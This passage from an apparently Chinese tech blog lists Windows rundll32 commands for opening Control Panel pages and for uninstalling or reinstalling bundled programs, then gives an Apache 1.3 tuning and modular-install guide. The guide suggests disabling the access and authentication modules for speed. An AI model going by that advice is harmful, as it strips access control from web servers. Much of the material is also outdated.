功能: 显示“建立快捷方式”的对话框,所建立的快捷方式的位置由%1参数决定。
命令列: rundll32.exe shell32.dll,Control_RunDLL timedate.cpl,,0
功能: 显示“日期与时间”选项视窗。
命令列: rundll32.exe shell32.dll,Control_RunDLL timedate.cpl,,1
功能: 显示“时区”选项视窗。
命令列: rundll32.exe rnaui.dll,RnaDial [某个拨号连接的名称]
功能: 显示某个拨号连接的拨号视窗。如果已经拨号连接,则显示目前的连接状态的视窗。
命令列: rundll32.exe rnaui.dll,RnaWizard
功能: 显示“新建拨号连接”向导的视窗。
命令列: rundll32.exe shell32.dll,Control_RunDLL desk.cpl,,0
功能: 显示“显示属性-背景”选项视窗。
命令列: rundll32.exe shell32.dll,Control_RunDLL desk.cpl,,1
功能: 显示“显示属性-萤屏保护”选项视窗。
命令列: rundll32.exe shell32.dll,Control_RunDLL desk.cpl,,2
功能: 显示“显示属性-外观”选项视窗。
命令列: rundll32.exe shell32.dll,Control_RunDLL desk.cpl,,3
功能: 显示显示“显示属性-属性”选项视窗。
命令列: rundll32.exe shell32.dll,SHHelpShortcuts_RunDLL FontsFolder
功能: 显示Windows的“字体”档案夹。
命令列: rundll32.exe shell32.dll,Control_RunDLL main.cpl @3
功能: 同样是显示Windows的“字体”档案夹。
命令列: rundll32.exe shell32.dll,SHformatDrive
功能: 显示格式化软碟对话框。
命令列: rundll32.exe shell32.dll,Control_RunDLL joy.cpl,,0
功能: 显示“控制面板-游戏控制器-一般”选项视窗。
命令列: rundll32.exe shell32.dll,Control_RunDLL joy.cpl,,1
功能: 显示“控制面板-游戏控制器-进阶”选项视窗。
命令列: rundll32.exe mshtml.dll,PrintHTML (HTML文档)
功能: 列印HTML文档。
命令列: rundll32.exe shell32.dll,Control_RunDLL mlcfg32.cpl
功能: 显示Microsoft Exchange一般选项视窗。
命令列: rundll32.exe shell32.dll,Control_RunDLL main.cpl @0
功能: 显示“控制面板-滑鼠” 选项 。
命令列: rundll32.exe shell32.dll,Control_RunDLL main.cpl @1
功能: 显示 “控制面板-键盘属性-速度”选项视窗。
命令列: rundll32.exe shell32.dll,Control_RunDLL main.cpl @1,,1
功能: 显示 “控制面板-键盘属性-语言”选项视窗。
命令列: rundll32.exe shell32.dll,Control_RunDLL main.cpl @2
功能: 显示Windows“印表机”档案夹。
命令列: rundll32.exe shell32.dll,Control_RunDLL main.cpl @3
功能: 显示Windows“字体”档案夹。
命令列: rundll32.exe shell32.dll,Control_RunDLL main.cpl @4
功能: 显示“控制面板-输入法属性-输入法”选项视窗。
命令列: rundll32.exe shell32.dll,Control_RunDLL modem.cpl,,add
功能: 执行“添加新调制解调器”向导。
命令列: rundll32.exe shell32.dll,Control_RunDLL mmsys.cpl,,0
功能: 显示“控制面板-多媒体属性-音频”属性页。
命令列: rundll32.exe shell32.dll,Control_RunDLL mmsys.cpl,,1
功能: 显示“控制面板-多媒体属性-视频”属性页。
命令列: rundll32.exe shell32.dll,Control_RunDLL mmsys.cpl,,2
功能: 显示“控制面板-多媒体属性-MIDI”属性页。
命令列: rundll32.exe shell32.dll,Control_RunDLL mmsys.cpl,,3
功能: 显示“控制面板-多媒体属性-CD音乐”属性页。
命令列: rundll32.exe shell32.dll,Control_RunDLL mmsys.cpl,,4
功能: 显示“控制面板-多媒体属性-设备”属性页。
命令列: rundll32.exe shell32.dll,Control_RunDLL mmsys.cpl @1
功能: 显示“控制面板-声音”选项视窗。
命令列: rundll32.exe shell32.dll,Control_RunDLL netcpl.cpl
功能: 显示“控制面板-网路”选项视窗。
命令列: rundll32.exe shell32.dll,Control_RunDLL odbccp32.cpl
功能: 显示ODBC32资料管理选项视窗。
命令列: rundll32.exe shell32.dll,OpenAs_RunDLL
功能: 显示指定档案(drive:/path/filename)的“打开方式”对话框。
命令列: rundll32.exe shell32.dll,Control_RunDLL password.cpl
功能: 显示“控制面板-密码”选项视窗。
命令列: rundll32.exe shell32.dll,Control_RunDLL powercfg.cpl
功能: 显示“控制面板-电源管理属性”选项视窗。
命令列: rundll32.exe shell32.dll,SHHelpShortcuts_RunDLL PrintersFolder
功能: 显示Windows“印表机”档案夹。(同rundll32.exe shell32.dll,Control_RunDLL main.cpl @2)
命令列: rundll32.exe shell32.dll,Control_RunDLL intl.cpl,,0
功能: 显示“控制面板-区域设置属性-区域设置”选项视窗。
命令列: rundll32.exe shell32.dll,Control_RunDLL intl.cpl,,1
功能: 显示“控制面板-区域设置属性-数字”选项视窗。
命令列: rundll32.exe shell32.dll,Control_RunDLL intl.cpl,,2
功能: 显示“控制面板-区域设置属性-货币”选项视窗。
命令列: rundll32.exe shell32.dll,Control_RunDLL intl.cpl,,3
功能: 显示“控制面板-区域设置属性-时间”选项视窗。
命令列: rundll32.exe shell32.dll,Control_RunDLL intl.cpl,,4
功能: 显示“控制面板-区域设置属性-日期”选项视窗。
命令列: rundll32.exe desk.cpl,InstallScreenSaver [萤屏保护档案名]
功能: 将指定的萤屏保护档案设置为Windows的屏保,并显示萤屏保护属性视窗。
命令列: rundll32.exe shell32.dll,Control_RunDLL sysdm.cpl,,0
功能: 显示“控制面板-系统属性-传统”属性视窗。
命令列: rundll32.exe shell32.dll,Control_RunDLL sysdm.cpl,,1
功能: 显示“控制面板-系统属性-设备管理器”属性视窗。
命令列: rundll32.exe shell32.dll,Control_RunDLL sysdm.cpl,,2
功能: 显示“控制面板-系统属性-硬体配置档案”属性视窗。
命令列: rundll32.exe shell32.dll,Control_RunDLL sysdm.cpl,,3
功能: 显示“控制面板-系统属性-性能”属性视窗。
命令列: rundll32.exe user.exe,restartwindows
功能: 强行关闭所有程式并重启机器。
命令列: rundll32.exe user.exe,exitwindows
功能: 强行关闭所有程式并关机。
命令列: rundll32.exe shell32.dll,Control_RunDLL telephon.cpl
功能: 显示“拨号属性”选项视窗
命令列: rundll32.exe shell32.dll,Control_RunDLL themes.cpl
功能: 显示“桌面主旨”选项面板
当然,不止是VisualBasic,象Delphi.VisualC++等其他程式设计语言也可以通过呼叫外部命令的方法来使用Rundll的这些功能,具体方法这里就不再详细叙述了。灵活的使用Rundll,一定会使你的程式设计轻轻松松,达到事半功倍的效果!
巧用Rundll32安装和卸载Windows程序
在Windows系统中安装和卸载程序是件非常容易的事情,一般用户通过安装和卸载程序向导就能很轻松地完成。但安装和卸载Windows程序还有些鲜为人知的小技巧,使用Rundll32命令安装和卸载Windows程序就是其中之一,可能你从来还没接触过,下面我们就一起领略它的神奇功能吧!
提示:Rundll32.exe是 Windows系统提供的一个命令,
它用来调用32位的DLL函数(16位的DLL文件用Rundll.exe来调用。DLL文件是Windows的基础,所有的API函数都是在DLL中实现的,它不能独立运行,一般由进程加载并调用,运行DLL文件最简单的方法是利用Rundll32.exe,它的命令格式是“Rundll32.exe 动态链接库名 函数名 参数名”。
1.卸载微软Java虚拟机
在Windows系统中,要想IE浏览器执行包含Java小程序的网页,必须安装微软Java虚拟机(MSJVM),Windows 98/2000已经捆绑了MSJVM,Windows XP/2003中虽然已经剥离了微软Java虚拟机,但还是可以手工安装。不过,有个现实我们不得不面对:由于微软和SUN公司的明争暗斗,微软已经停止对MSJVM的开发,因此很多用户改用SUN公司提供的Java虚拟机。但微软没有提供MSJVM的卸载工具,使用Rundll32命令,我们可以轻松卸载MSJVM。
单击“开始→运行”命令,在“运行”对话框中输入“RunDll32 advpack.dll,LaunchINFSection java.inf,UnInstall”,回车后系统会打开“Microsoft VM uninstall”对话框,单击“是(Y)”按钮后,系统就会开始卸载微软Java虚拟机,卸载完成后需要重新启动系统。
接下来删除“%systemroot%”(即Windows的安装目录,Windows 2000系统为 Winnt目录,Windows XP/2003为Windows目录)下的Java文件夹;“%systemroot%\inf”下的java.pnf文件,以及“%systemroot%\system32”下的jview.exe文件和wjview.exe文件。最后打开注册表编辑器,依次展开[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\JavaVM]分支和[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\AdvancedOptions\JAVA_VM]分支,删除这两个分支下的所有子键。
提示:以上方法不适用Windows 98系统。
2.重新安装Windows XP自带的IE6.0
Windows系统的IE浏览器漏洞很多,最容易出现问题。有时无法解决,就只能重新安装了。使用Rundll32命令可以很轻松地完成重新安装工作。我们以重新安装Windows XP中的IE6.0为例:
首先将Windows XP光盘插入光驱,然后单击“开始→运行”命令,在“运行”对话框中输入“Rundll32 setupapi,InstallHinfSection DefaultInstall 132 C:\windows\inf\ie.inf”命令,回车后系统会打开安装进程对话框,开始重新安装IE6.0。
提示:如果你的Windows XP系统不是安装在C盘,请将 “C\Windows\Inf\Ie.inf” 修改为“%systemroot%\inf\ie.inf”。
3.卸载Windows Messenger
卸载Windows Messenger的方法很多,最常用的就是修改“Sysoc.inf”文件,但此方法比较复杂,使用Rundll32命令能很轻松完成卸载:
首先要确保已经关闭了Outlook和IE等Windows自带的组件,然后单击“开始→运行”,在“运行”对话框中输入“RunDll32 advpack.dll,LaunchINFSection %windir%\inf\msmsgs.inf,BLC.Remove”命令,回车后系统会打开一个卸载对话框,单击“是(Y)”按钮后,系统就开始卸载Windows Messenger 程序。
以上只是简单介绍如何使用Rundll32命令卸载和安装Windows程序的几个实例,还有很多Windows程序的安装和卸载可以使用此方法,就不再详细介绍了,请大家慢慢体会。
转载(http://blog.china-pub.com/more.asp?name=anstan&id=11612)
从简化安装==>性能调优==>方便维护的角度,讨论WEB服务的规划==>HTTPD安装/应用模块配置==>升级/维护等过程。
让APACHE的升级和PHP RESIN等应用模块的升级完全互不影响。
摘要:
WEB应用容量规划:根据硬件配置和WEB应用的特点进行WEB服务的规划及一些简单的估算公式;
APACHE安装过程:apache的通用的简化安装选项,方便以后的应用的模块化配置;
修改 HARD_SERVER_LIMIT:
vi /path/to/apache_src/src/include/httpd.h
#define HARD_SERVER_LIMIT 2560 <===将原来的 HARD_SERVER_LIMIT 256 后面加个“0”
apache编译:
/path/to/apache_src/configure --prefix=/another_driver/apache --enable-shared=max --enable-module=most
可选应用模块/工具的安装:php resin mod_gzip mod_expire及各个模块之间的配合;
PHP安装:
/path/to/php_src/configure --with-apxs=/path/to/apache/bin/apxs --enable-track-vars --with-other-modules-you-need
mod_resin安装:
/path/to/resin/src/configure --with-apxs=/path/to/apache/bin/apxs
Mod_gzip安装:
/path/to/apache/bin/apxs -i -a -c mod_gzip.c
工具:cronolog安装:http://www.cronolog.org
升级/维护:看看通用和模块化的安装过程如何简化了日常的升级/维护工作;
按照以上的方法:系统管理员和应用管理员的职责可以清楚的分开,互相独立。
系统安装:系统管理员的职责就是安装系统=>安装好一台可以适应任何情况的APACHE,然后COLON,
应用安装:由应用管理员负责具体应用所需要的模块并设置HTTPD。
系统升级:系统管理员:升级系统/升级APACHE
应用升级:系统管理员:升级应用模块
具体的说明:
WEB应用的容量规划
APACHE主要是一个内存消耗型的服务应用,我个人总结的经验公式:
apache_max_process_with_good_perfermance < (total_hardware_memory / apache_memory_per_process ) * 2
apache_max_process = apache_max_process_with_good_perfermance * 1.5
为什么会有一个apache_max_process_with_good_perfermance和apache_max_process呢?原因是在低负载下系统可以使用更多的内存用于文件系统的缓存,从而进一步提高单个请求的响应速度。在高负载下,系统的单个请求响应速度会慢不少,而超过apache_max_process,系统会因为开始使用硬盘做虚拟内存交换空间而导致系统崩溃。此外,同样的服务:2G内存的机器的apache_max_process一般只设置到1G内存的1.7倍,因为APACHE本身会因为管理更多的进程而产生性能下降。
例子1:
一个apache + mod_php的服务器:一个apache进程一般需要4M内存
因此在一个1G内存的机器上:apache_max_process_with_good_perfermance < (1g / 4m) * 2 = 500
apache_max_process = 500 * 1.5 = 750
所以规划你的应用让服务尽量跑在500个APACHE以下,并设置APACHE的软上限在800个。
例子2:
一个apache + mod_resin的服务器: 一个apache进程一般需要2M内存
在一个2G内存的机器上: apache_max_process_with_good_perfermance < (2g / 2m ) * 2 = 2000
因此:apache_max_process = 2000 * 1.5 = 3000
以上估算都是按小文件服务估算的(一个请求一般大小在20k以下)。对于文件下载类型站点,可能还会受其他因素:比如带宽等的影响。
APACHE安装过程
服务器个数的硬上限HARD_SERVER_LIMIT的修改:
在FREEBSD和LINUX等UNIX操作系统下APACHE缺省的最大进程数是256个,需要修改apache_1.3.xx/src/include/httpd.h
#ifndef HARD_SERVER_LIMIT
#ifdef WIN32
#define HARD_SERVER_LIMIT 1024
#elif defined(NETWARE)
#define HARD_SERVER_LIMIT 2048
#else
#define HARD_SERVER_LIMIT 2560 <===将原来的HARD_SERVER_LIMIT 256 后面加个“0”
#endif
#endif
解释:
APACHE缺省的最大用户数是256个:这个配置对于服务器内存还是256M左右的时代是一个非常好的缺省设置,但随着内存成本的急剧下降,现在大型站点的服务器内存配置一般比当时要高一个数量级不止。所以256个进程的硬限制对于一台1G内存的机器来说是太浪费了,而且APACHE的软上限max_client是受限于HARD_SERVER_LIMIT的,因此如果WEB服务器内存大于256M,都应该调高APACHE的HARD_SERVER_LIMIT。根据个人的经验:2560已经可以满足大部分小于2G内存的服务器的容量规划了(APACHE的软上限的规划请看后面)。
APACHE的编译:通用的编译选项能使安装过程标准化
./configure --prefix=/another_driver/apache/ --enable-shared=max --enable-module=most
解释:
--prefix=/another_driver/apache/: 一个系统使用寿命最低的一般就是硬盘,因此:将服务数据和系统完全分开,不仅能提高了数据的访问速度,更重要的,大大方便系统升级,备份和恢复。
--shared-module=max:使用动态加载方式会带来5%的性能下降,但和带来的好处相比更本不算什么:比如模块升级方便,系统升级风险降低,安装过程标准化
--enable-module=most:用most可以将一些不常用的module编译进来,比如后面讲到的mod_expire是就不在apache的缺省常用模块中
如果不想build so, 也可以这样:
./configure \
"--with-layout=Apache" \
"--prefix=/path/to/apache" \
"--disable-module=access" \
"--disable-module=actions" \
"--disable-module=autoindex" \
"--disable-module=env" \
"--disable-module=imap" \
"--disable-module=negotiation" \
"--disable-module=setenvif" \
"--disable-module=status" \
"--disable-module=userdir" \
"--disable-module=cgi" \
"--disable-module=include" \
"--disable-module=auth" \
"--disable-module=asis"
但结果会发现,这样编译对服务性能只能有微小的提高(5%左右),但却失去了以后系统升级和模块升级的灵活性,无论是模块还是APACHE本身升级都必须把所有SOURCE加在一起重新编译。
apache的缺省配置文件一般比较大:我们可以使用去掉注释的方法精简一下:然后再进入具体的培植过程能让你更快的定制出你所需要的。
grep -v "#" httpd.conf.default >httpd.conf
需要修改的通用项目有以下几个:
#服务端口,缺省是8080,建议将整个APACHE配置调整好后再将服务端口改到正式服务的端口
Port 8080 => 80
#服务器名:缺省没有
ServerName name.example.com
#最大服务进程数:根据服务容量预测设置
MaxClients 256 => 800
#缺省启动服务后的服务进程数:等服务比较平稳后,按平均负载下的httpd个数设置就可以
StartServers 5 => 200
不要修改:
以前有建议说修改:
MinSpareServers 5 => 100
MaxSpareServers 10 => 200
但从我的经验看来:缺省值已经是非常优化的了,而且让APACHE自己调整进程个数还是比较好的。
特别修改:
在solaris或一些比较容易出现内存泄露的应用上:
MaxRequestsPerChild 0 =>3000
应用模块和工具的安装配置:
由于使用模块动态加载的模式,所以可以方便的通过简单的配置调整来把APACHE定制成你需要的:最好把不常用模块全部清除(无论处于安全还是效率)。
比如:对于静态页面服务器:就什么模块都不加载,对于PHP应用就加上PHP模块,对于JAVA应用就把RESIN模块加载上。而且各种模块的插拔非常简单。
一般说来,可以不需要的模块包括:
#LoadModule env_module libexec/mod_env.so
#LoadModule negotiation_module libexec/mod_negotiation.so
#LoadModule status_module libexec/mod_status.so
#server side include已经过时了
#LoadModule includes_module libexec/mod_include.so
#不需要将没有缺省index文件的目录下所有文件列出
#LoadModule autoindex_module libexec/mod_autoindex.so
#尽量不使用CGI:一直是APACHE安全问题最多的地方
#LoadModule cgi_module libexec/mod_cgi.so
#LoadModule asis_module libexec/mod_asis.so
#LoadModule imap_module libexec/mod_imap.so
#LoadModule action_module libexec/mod_actions.so
#不使用安全校验可以大大提高访问速度
#LoadModule access_module libexec/mod_access.so
#LoadModule auth_module libexec/mod_auth.so
#LoadModule setenvif_module libexec/mod_setenvif.so
最好保留的有:
#用于定制log格式
LoadModule config_log_module libexec/mod_log_config.so
#用于增加文件应用的关联
LoadModule mime_module libexec/mod_mime.so
#用于缺省index文件:index.php等
LoadModule dir_module libexec/mod_dir.so
可用可不用的有:
#比如:需要在~/username/下调试php可以将
LoadModule userdir_module libexec/mod_userdir.so
#比如:需要将以前的URL进行转向或者需要使用CGI script-alias
LoadModule alias_module libexec/mod_alias.so
常用的模块:
最常用的可能就是php和JAVA WEB应用的wrapper,此外,从性能上讲:mod_gzip可以减少40%左右的流量,从而减少机器用于传输的负载,而mod_expires可以减少10%左右的重复请求,让重复的用户请求CACHE在本地,根本不向服务器发出请求。
建议将所有MODULE的配置都放到
PHP的安装:
/path/to/php_src/configure --with-apxs=/path/to/apache/bin/apxs --with-other-modules-you-need
需要修改的配置:
AddType application/x-httpd-php .php .php3 .any_file_in_php
resin的安装设置:
/path/to/resin/src/configure --with-apxs=/path/to/apache/bin/apxs
一般将具体的resin设置放在另外一个文件中:
<IfModule mod_caucho.c>
CauchoConfigFile /path/to/apache/conf/resin.conf
</IfModule>
mod_expires的安装配置:
<IfModule mod_expires.c>
ExpiresActive on
#所有的.gif文件1个月以后过期
ExpiresByType image/gif "access plus 1 month"
#所有的文件缺省1天以后过期
ExpiresDefault "now plus 1 day"
</IfModule>
mod_gzip的安装:
/path/to/apache/bin/apxs -i -a -c mod_gzip.c
mod_gzip和PHP在一起的配置
<IfModule mod_gzip.c>
mod_gzip_on Yes
mod_gzip_minimum_file_size 1000
mod_gzip_maximum_file_size 300000
mod_gzip_item_include file \.htm$
mod_gzip_item_include file \.html$
mod_gzip_item_include file \.php$
mod_gzip_item_include file \.php3$
mod_gzip_item_include mime text/.*
mod_gzip_item_include mime httpd/unix-directory
#不要让mod_gzip和php的session使用同一个临时目录:php_session需要通过php.ini设置session.save_path = /tmp/php_sess
mod_gzip_temp_dir /tmp/mod_gzip
mod_gzip_dechunk Yes
mod_gzip_keep_workfiles No
</IfModule>
mod_gzip和mod_php的配合:不要让mod_gzip和mod_php使用同一个临时目录;
mod_gzip和RESIN配合:要让mod_gzip在mod_caucho后LOAD,否则mod_gzip不起作用
...othr modules
AddModule mod_so.c
AddModule mod_caucho.c
#notice: mod_gzip must load after mod_caucho
AddModule mod_gzip.c
AddModule mod_expires.c
...
<IFModule mod_gzip.c>
mod_gzip_on Yes
mod_gzip_dechunk yes
mod_gzip_keep_workfiles No
mod_gzip_minimum_file_size 3000
mod_gzip_maximum_file_size 300000
mod_gzip_item_include file \.html$
mod_gzip_item_include mime text/.*
mod_gzip_item_include mime httpd/unix-directory
mod_gzip_item_include handler 'caucho-request'
</IFModule>
日志轮循工具cronolog的安装和设置:cronolog可以非常整齐的将日志按天轮循存储
缺省编译安装到/usr/local/bin/下,只需要将配置改成:
CustomLog "|/usr/local/sbin/cronolog /path/to/apache/logs/%w/access_log" combined
日志将按天截断并存放在以weekday为目录名的目录下:比如:log/1是周一,log/5是周五, log/0是周日
升级维护:
由于使用标准化的DSO模式安装APACHE,APACHE的HTTPD核心服务和应用模块以及应用模块之间都变的非常灵活,建议将所有独立模块的配置都放在
<IfModule mod_name>
CONFIGURATIONS..
</IfModule>
里,这样配置非常容易通过屏蔽某个模块来进行功能调整:比如:
#AddModule mod_gzip.c
就屏蔽了mod_gzip,其他模块不首任何影响。
安装和维护过程:
系统安装:系统管理员的职责就是安装系统和一个可以适应任何情况的APACHE,然后COLON。
应用安装:由应用管理员负责具体应用所需要的模块并设置HTTPD。
系统升级:系统管理员:升级系统/升级APACHE
应用升级:应用管理员:升级应用模块
系统备份/恢复:如果APACHE不在缺省的系统盘上,只需要将APACHE目录备份就可以了,遇到系统分区的硬件问题直接使用预先准备好的系统COLON,直接将APACHE所在物理盘恢复就行了。
系统管理员:APACHE的最简化安装 OS + APACHE(httpd core only)
应用管理员:应用模块定制 +so
+php
+so
+caucho
+ssl
应用: 纯静态页面服务:
image.example.com
www.example.com bbs.example.com mall.example.com
参考文档:
Apache
http://httpd.apache.org
php
http://www.php.net
Resin
http://www.caucho.com
mod_gzip
http://www.remotecommunications.com/apache/mod_gzip/
Cronolog
http://www.cronolog.org
mod_expires
http://httpd.apache.org/docs/mod/mod_expires.html